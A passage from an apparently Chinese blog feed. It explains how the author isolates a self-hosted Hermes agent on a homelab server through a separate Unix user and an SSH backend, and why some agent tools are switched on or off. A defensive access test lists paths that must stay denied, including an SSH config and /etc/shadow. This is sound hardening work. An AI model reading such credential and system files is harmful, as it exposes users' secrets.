&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="n"&gt;wrap&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;terminal&lt;/span&gt; &lt;span class="n"&gt;backend&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;s execute() interface to provide a unified file API.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;具体的 &lt;code&gt;ShellFileOperations&lt;/code&gt; 保存了当前 &lt;code&gt;terminal_env&lt;/code&gt;，要求它提供 &lt;code&gt;execute(command, cwd)&lt;/code&gt; 接口：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ShellFileOperations&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FileOperations&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;File operations implemented via shell commands.&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="fm"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;terminal_env&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;terminal_env&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;而 &lt;a class="link" href="https://github.com/NousResearch/hermes-agent/blob/df5700ebe317ff9f2d9ea4677513e012eb68b6f4/tools/file_tools.py#L1153-L1192" target="_blank" rel="noopener"
&gt;&lt;code&gt;tools/file_tools.py&lt;/code&gt;&lt;/a&gt; 会先根据 &lt;code&gt;env_type == &amp;quot;ssh&amp;quot;&lt;/code&gt; 组装 SSH 配置，创建 terminal environment，再把同一个 environment 交给 &lt;code&gt;ShellFileOperations&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;env_type&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;ssh&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ssh_config&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;host&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ssh_host&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;user&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ssh_user&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;port&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ssh_port&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ssh_key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;terminal_env&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_create_environment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ssh_config&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;ssh_config&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;file_ops&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ShellFileOperations&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;terminal_env&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;所以在我的配置中，&lt;code&gt;read_file&lt;/code&gt;、&lt;code&gt;write_file&lt;/code&gt;、&lt;code&gt;patch&lt;/code&gt; 和 &lt;code&gt;search_files&lt;/code&gt; 最终都会通过 &lt;code&gt;hermes@localhost&lt;/code&gt; 执行。它们和 Terminal Tool 处于同一个 Unix 权限边界，可以开启；File Operations 并不会因为 Gateway 由 &lt;code&gt;veno&lt;/code&gt; 启动，就自动获得 &lt;code&gt;/home/veno&lt;/code&gt; 的读取能力。&lt;/p&gt;
&lt;p&gt;不过源码判断仍然要配合反向测试，防止未来版本回归：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;span class="lnt"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;允许：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/srv/hermes-workspace/project/README.md
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/home/hermes/.config/...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;拒绝：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/home/veno/.ssh/config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/home/veno/.config/...
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/etc/shadow
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/srv/hermes-workspace/link-to-veno/...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这里拒绝访问的主要保障是 Linux 用户权限，而不是让模型“自觉”不访问。如果 &lt;code&gt;/home/veno&lt;/code&gt; 或某个共享目录本身对其他用户可读，那么 Terminal 和 File Operations 都能读到它。&lt;/p&gt;
&lt;h3 id="terminalprocess-与-code-execution-的区别"&gt;Terminal、Process 与 Code Execution 的区别
&lt;/h3&gt;&lt;p&gt;直觉上，“先写入一份 Python 脚本，再用 Terminal 运行”似乎完全等于 Code Execution。站在 Linux 权限和最终计算能力的角度，这个判断基本正确：两者最终都只能以 SSH 后的 Hermes UID 执行任意代码。关闭 Code Execution 并不能形成新的安全边界，因为 Terminal 本来就可以运行 &lt;code&gt;python&lt;/code&gt;、&lt;code&gt;bash&lt;/code&gt;、下载程序或编译二进制。&lt;/p&gt;
&lt;p&gt;差异主要发生在 Hermes 的控制层：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;工具&lt;/th&gt;
&lt;th&gt;执行模型&lt;/th&gt;
&lt;th&gt;适合的任务&lt;/th&gt;
&lt;th&gt;审批与审计粒度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Terminal&lt;/td&gt;
&lt;td&gt;一次 Tool Call 执行一条 Shell 命令&lt;/td&gt;
&lt;td&gt;安装、构建、Git、运行脚本&lt;/td&gt;
&lt;td&gt;每条命令单独进入 Terminal 的检查流程&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Process&lt;/td&gt;
&lt;td&gt;管理由 Terminal 启动的后台进程&lt;/td&gt;
&lt;td&gt;查询日志、等待、写 stdin、终止进程&lt;/td&gt;
&lt;td&gt;不提供新的代码执行权限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Code Execution&lt;/td&gt;
&lt;td&gt;启动 Python 子进程，并通过 RPC 调用多个 Hermes Tools&lt;/td&gt;
&lt;td&gt;多次 Tool Call、循环、分支、过滤大量结果&lt;/td&gt;
&lt;td&gt;整段 Python 脚本作为一个审批单元&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a class="link" href="https://github.com/NousResearch/hermes-agent/blob/df5700ebe317ff9f2d9ea4677513e012eb68b6f4/tools/code_execution_tool.py#L1115-L1180" target="_blank" rel="noopener"
&gt;&lt;code&gt;tools/code_execution_tool.py&lt;/code&gt;&lt;/a&gt; 说明了它真正额外提供的东西：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Run a Python script in a sandboxed child process with RPC access
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;to a subset of Hermes tools.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Dispatches to the local (UDS) or remote (file-based RPC) path
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;depending on the configured terminal backend.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;env_type&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;local&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;_execute_remote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;task_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;enabled_tools&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;SSH 是非 local backend，所以 Code Execution 的 Python 也会在 Hermes 用户一侧运行，不会落到 &lt;code&gt;veno&lt;/code&gt; 的本地 Python 环境。它的优势是程序化编排：例如循环调用十次 Web Search，在 Python 中过滤结果，只把五行摘要送回模型。这不是普通 Terminal 单次命令天然拥有的 Hermes Tool RPC 能力。&lt;/p&gt;
&lt;p&gt;但源码也明确指出，任意 Python 中的 &lt;code&gt;subprocess&lt;/code&gt; 或 &lt;code&gt;os.system&lt;/code&gt; 不经过 &lt;code&gt;terminal()&lt;/code&gt; 的 &lt;code&gt;DANGEROUS_PATTERNS&lt;/code&gt; 逐条检查，因此 Hermes 改为对整段脚本调用一次 &lt;code&gt;check_execute_code_guard&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# execute_code runs arbitrary Python (subprocess/os.system/...) that never&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# passes through terminal()/DANGEROUS_PATTERNS, so guard the whole script here&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;tools.approval&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;check_execute_code_guard&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;所以 Code Execution 没有增加 Unix 权限，却扩大了单次批准动作能包含的逻辑和 Tool Calls 数量。对团队共用 Gateway，我会先关闭它：不是因为关闭后 Agent 不能运行代码，而是为了让早期运行记录保持简单、命令更容易审计。以后确实遇到需要“调用多个 Hermes Tools 并在中间做程序化过滤”的任务，再在确认 approval 流程可靠后开启。&lt;/p&gt;
&lt;h3 id="根据团队需求取舍-tools"&gt;根据团队需求取舍 Tools
&lt;/h3&gt;&lt;p&gt;Tool 开关不能只按“能力越少越安全”来决定，还要看团队的协作方式、信息边界和实际工作流。下面是针对我当前团队的取舍，不是一份所有 Hermes 部署都应该照抄的安全基线。对于成员权限分层明显、会话中包含客户数据或个人隐私的团队，同一个 Tool 很可能需要得出不同结论。&lt;/p&gt;
&lt;h4 id="computer-use"&gt;Computer Use
&lt;/h4&gt;&lt;p&gt;Computer Use 会运行本机 &lt;code&gt;cua-driver&lt;/code&gt;。源码 &lt;a class="link" href="https://github.com/NousResearch/hermes-agent/blob/df5700ebe317ff9f2d9ea4677513e012eb68b6f4/tools/computer_use/permissions.py#L1-L21" target="_blank" rel="noopener"
&gt;&lt;code&gt;tools/computer_use/permissions.py&lt;/code&gt;&lt;/a&gt; 说明 Linux 依赖 X11/XWayland 控制桌面；同一文件的&lt;a class="link" href="https://github.com/NousResearch/hermes-agent/blob/df5700ebe317ff9f2d9ea4677513e012eb68b6f4/tools/computer_use/permissions.py#L70-L78" target="_blank" rel="noopener"
&gt;进程启动实现&lt;/a&gt; 则由 Gateway 直接调用 &lt;code&gt;subprocess.run()&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Linux — assistive control via the X11/XWayland stack.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;binary&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;我的 HomeLab 是没有桌面环境的 Fedora Server，不运行 X11 或 Wayland，也没有需要 Agent 操作的图形界面。Computer Use 在这里既没有使用场景，也不属于 SSH Terminal Backend 所提供的工作环境，因此直接关闭。对于带桌面的部署，则还要额外考虑它控制的是哪一个图形 session，以及是否可能接触启动 Gateway 用户的窗口和登录状态。&lt;/p&gt;
&lt;h4 id="session-search"&gt;Session Search
&lt;/h4&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/NousResearch/hermes-agent/blob/df5700ebe317ff9f2d9ea4677513e012eb68b6f4/tools/session_search_tool.py#L167-L203" target="_blank" rel="noopener"
&gt;&lt;code&gt;tools/session_search_tool.py&lt;/code&gt;&lt;/a&gt; 会遍历 default 和所有 profile 的 &lt;code&gt;state.db&lt;/code&gt;；Tool 描述还明确支持浏览、检索和读取历史消息。也就是说，开启它确实意味着成员可能通过 Hermes 找到其他成员过去的会话。&lt;/p&gt;
&lt;p&gt;但这符合我当前团队的协作方式。团队管理比较扁平，成员之间没有很强的信息隔离需求，会话中讨论的也主要是组织共享信息。因此 Session Search 可以开启：除了找回之前讨论过的决策，它还可以作为 Hermes 持久化记忆的补充，让 Agent 不必把所有历史背景都压进单独维护的 memory。&lt;/p&gt;
&lt;p&gt;我可能不会在第一天就启用它，但这属于上线节奏问题，而不是安全上必须禁止。以后如果 Hermes 接入了需要隔离的外部团队、客户数据或私聊入口，就必须重新评估 profile、platform 和成员之间的 Session 可见范围。&lt;/p&gt;
&lt;h4 id="cron-jobs"&gt;Cron Jobs
&lt;/h4&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/NousResearch/hermes-agent/blob/df5700ebe317ff9f2d9ea4677513e012eb68b6f4/cron/jobs.py#L1-L6" target="_blank" rel="noopener"
&gt;&lt;code&gt;cron/jobs.py&lt;/code&gt;&lt;/a&gt; 会把任务持久化到 &lt;code&gt;~/.hermes/cron/jobs.json&lt;/code&gt;，并在未来的新 session 中运行。它不会突破 Hermes UID，但会把一次聊天中的任务延长为无人值守的持续执行。&lt;/p&gt;
&lt;p&gt;当前团队还没有需要 Hermes 定时执行的工作流，所以暂时关闭 Cron Jobs。这里同样不是原则性禁止：以后出现定期汇总、仓库巡检或提醒任务时，可以在补齐任务审计、失败通知和统一停止方式后开启。现在不开，只是因为没有必要提前引入一套长期运行状态。&lt;/p&gt;
&lt;p&gt;Browser Automation 也暂时关闭。它管理的是 Gateway 一侧的浏览器状态，不需要用它完成 &lt;code&gt;lark-cli&lt;/code&gt; 或 GitHub CLI 的设备授权；这类授权由我在 Hermes 用户的 SSH 会话中手动完成。&lt;/p&gt;
&lt;p&gt;Memory 是否开启需要和 Session Search 一起设计。对当前团队而言，成员之间共享组织信息不是问题，但长期记忆仍然需要区分“稳定事实”和“一次对话中的临时判断”，避免错误内容被持续放大。Session Search 负责找回可追溯的原始会话，Memory 只保存经过整理的长期信息，会比把两者混成一个无边界记忆池更容易维护。&lt;/p&gt;
&lt;p&gt;Task Delegation 可以开启，因为子 Agent 的工具集会与父 Agent 的已启用工具取交集，不能借 delegation 重新拿到已关闭的 Tool；但并发数需要限制。&lt;/p&gt;
&lt;h3 id="其他需要检查的入口"&gt;其他需要检查的入口
&lt;/h3&gt;&lt;p&gt;除了 sudo 和文件工具，还需要检查这些常被忽略的能力：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Docker 或 Podman socket 是否可访问；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/run/user/&amp;lt;uid&amp;gt;&lt;/code&gt; 下是否暴露其他用户服务；&lt;/li&gt;
&lt;li&gt;SSH agent、GPG agent 和桌面 session socket 是否被继承；&lt;/li&gt;
&lt;li&gt;systemd user service 能否启动长期驻留进程；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/tmp&lt;/code&gt;、共享 Git 仓库和缓存目录是否存在符号链接或权限问题；&lt;/li&gt;
&lt;li&gt;CLI 凭据文件是否为 &lt;code&gt;0600&lt;/code&gt;，目录是否为 &lt;code&gt;0700&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;Agent 是否能够绑定对外监听的网络端口；&lt;/li&gt;
&lt;li&gt;Hermes Gateway 的日志中是否记录命令参数、文件内容或 token。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;hermes&lt;/code&gt; 没有 sudo 是必要条件，但不是安全设计的终点。Linux 上仍然可能出现内核、驱动或错误配置造成的提权路径。好在这台机器本来就是 HomeLab：保持 Fedora 更新、减少额外用户组、关闭不需要的宿主能力，再配合备份和审计，已经能把风险控制在一个我可以接受的范围内。&lt;/p&gt;
&lt;p&gt;只要别真的折腾出内核提权版本的“智械危机”就行。&lt;/p&gt;</description></item><item><title>给 Hugo Stack 首页添加可配置的分类与文章置顶</title><link>https://v3n0.com/post/2026/hugo-stack-pinned-categories-and-articles/</link><pubDate>Mon, 13 Jul 2026 16:00:00 +0800</pubDate><guid>https://v3n0.com/post/2026/hugo-stack-pinned-categories-and-articles/</guid><description>&lt;p&gt;Stack 提供了 categories 侧边栏组件，但它只会按照文章数量展示分类，并不负责把某个分类合集放到首页文章流上方。主题的首页模板也只是筛选普通文章、分页，然后逐篇渲染：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
